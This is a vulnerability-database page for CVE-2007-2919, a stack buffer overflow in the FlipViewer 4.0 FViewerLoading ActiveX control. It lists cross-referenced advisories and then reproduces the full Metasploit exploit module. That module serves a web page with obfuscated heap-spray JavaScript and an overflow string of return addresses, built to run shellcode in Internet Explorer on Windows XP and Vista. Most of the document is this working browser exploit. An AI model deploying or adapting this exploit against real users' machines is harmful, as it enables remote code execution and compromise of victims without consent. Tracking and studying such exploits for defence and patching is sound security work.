FlipViewer FViewerLoading ActiveX Control Buffer Overflow

🗓️ 06 Jun 2007 00:00:00Reported by LSO <[email protected]>Type

FlipViewer FViewerLoading ActiveX Control Buffer Overflow in FlipViewer 4.0 caused by boundary error in handling "LoadOpf()" method

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2007-2919	15 Jun 201000:00	–	circl
CVE	CVE-2007-2919	6 Jun 200722:00	–	cve
Cvelist	CVE-2007-2919	6 Jun 200722:00	–	cvelist
Exploit DB	FlipViewer FViewerLoading - ActiveX Control Buffer Overflow (Metasploit)	15 Jun 201000:00	–	exploitdb
Tenable Nessus	FlipViewer ActiveX Control < 4.1 Buffer Overflow Vulnerabilities	7 Jun 200700:00	–	nessus
NVD	CVE-2007-2919	6 Jun 200722:30	–	nvd
Packet Storm	FlipViewer FViewerLoading ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	6 Jun 200722:30	–	prion
Rapid7 Vulnerability Database (full)	CVE-2007-2919: Undefined Security Weakness	6 Jun 200700:00	–	rapid7
CERT	E-Book Systems FlipViewer ActiveX control stack buffer overflows	5 Jun 200700:00	–	cert

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FlipViewer FViewerLoading ActiveX Control Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in E-BOOK Systems FlipViewer 4.0.
          The vulnerability is caused due to a boundary error in the
          FViewerLoading (FlipViewerX.dll) ActiveX control when handling the
          "LoadOpf()" method.
        },
        'License' => BSD_LICENSE,
        'Author' => [ 'LSO <lso[at]hushmail.com>' ],
        'References' => [
          [ 'CVE', '2007-2919' ],
          [ 'OSVDB', '37042' ],
          [ 'BID', '24328' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
        'Platform' => 'win',
        'Targets' => [
          # Tested ok aushack 20090303
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ],
        ],
        'DisclosureDate' => '2007-06-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    return if ((p = regenerate_payload(cli)) == nil)

    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    nops = Rex::Text.to_unescape(make_nops(4))
    randnop = rand_text_alpha(rand(100) + 1)

    ret = Rex::Text.uri_encode([target.ret].pack('L'))

    vname = rand_text_alpha(rand(100) + 1)
    var_i = rand_text_alpha(rand(30) + 2)
    rand1 = rand_text_alpha(rand(100) + 1)
    rand2 = rand_text_alpha(rand(100) + 1)
    rand3 = rand_text_alpha(rand(100) + 1)
    rand4 = rand_text_alpha(rand(100) + 1)
    rand5 = rand_text_alpha(rand(100) + 1)
    rand6 = rand_text_alpha(rand(100) + 1)
    rand7 = rand_text_alpha(rand(100) + 1)
    rand8 = rand_text_alpha(rand(100) + 1)

    content = %Q|<html>
<object classid='clsid:BA83FD38-CE14-4DA3-BEF5-96050D55F78A' id='#{vname}'></object>
<script language='javascript'>
var #{rand1} = unescape('#{shellcode}');
var #{randnop} = "#{nops}";
var #{rand2} = unescape(#{randnop});
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.LoadOpf(#{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{rand8});
</script>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Sending exploit...")

    send_response_html(cli, content)

    handler(cli)
  end
end

06 Jun 2007 00:00Current

6.1Medium risk

Vulners AI Score6.1

CVSS 29.3

EPSS0.3372